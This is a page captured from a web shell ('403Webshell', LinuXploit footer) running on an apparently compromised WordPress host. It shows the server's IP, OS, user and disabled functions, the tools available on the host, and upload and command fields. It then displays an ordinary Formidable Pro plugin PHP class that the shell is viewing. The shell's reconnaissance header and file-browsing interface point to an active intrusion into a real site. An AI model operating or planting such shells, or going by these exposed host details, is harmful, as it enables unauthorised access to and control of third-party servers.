403Webshell
Server IP : 199.250.200.62  /  Your IP : 216.73.217.89
Web Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/jasonp18/www/wp-content/plugins/formidable-pro/classes/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jasonp18/www/wp-content/plugins/formidable-pro/classes/models/FrmProFieldSettings.php
<?php

if ( ! defined( 'ABSPATH' ) ) {
	die( 'You are not allowed to call this page directly.' );
}

/**
 * @since 2.03.05
 */
class FrmProFieldSettings {

	/**
	 * @since 2.03.05
	 * @var string
	 */
	protected $post_field = '';

	/**
	 * @since 2.03.05
	 * @var bool
	 */
	protected $has_separate_values = false;

	/**
	 * @since 2.03.05
	 * @var bool
	 */
	protected $use_key = false;

	/**
	 * @var array
	 * @since 2.03.05
	 */
	protected $field_options = array();

	/**
	 * FrmProFieldSettings constructor.
	 *
	 * @param array $field_options
	 */
	public function __construct( $field_options ) {
		$this->field_options = $field_options;

		if ( ! $this->has_field_options() ) {
			return;
		}

		$this->set_post_field();
		$this->set_has_separate_values();
		$this->set_use_key();
	}

	/**
	 * Set the post_field property
	 *
	 * @since 2.03.05
	 */
	private function set_post_field() {
		if ( isset( $this->field_options['post_field'] ) && $this->field_options['post_field'] ) {
			$this->post_field = $this->field_options['post_field'];
		}
	}

	/**
	 * @since 2.03.05
	 * @return string
	 */
	public function get_post_field() {
		return $this->post_field;
	}

	/**
	 * Set the has_separate_values property
	 *
	 * @since 2.03.05
	 */
	private function set_has_separate_values() {
		if ( isset( $this->field_options['separate_value'] ) && $this->field_options['separate_value'] ) {
			$this->has_separate_values = true;
		}
	}

	/**
	 * Get the has_separate_values property
	 *
	 * @since 2.03.05
	 *
	 * @return bool
	 */
	public function get_has_separate_values() {
		return $this->has_separate_values;
	}

	/**
	 * Set the use_key property
	 *
	 * @since 2.03.05
	 */
	protected function set_use_key() {
		if ( isset( $this->field_options['use_key'] ) && $this->field_options['use_key'] ) {
			$this->use_key = true;
		} elseif ( $this->post_field === 'post_category' ) {
			$this->use_key = true;
		} elseif ( $this->post_field === 'post_status' ) {
			$this->use_key = true;
		}
	}

	/**
	 * Get the use_key property
	 *
	 * @since 2.03.05
	 *
	 * @return bool
	 */
	public function get_use_key() {
		return $this->use_key;
	}

	/*
	 * Check if a field has any field_options from database
	 *
	 * @since 2.03.05
	 *
	 * @return bool
	 */
	private function has_field_options() {
		return ! empty( $this->field_options );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit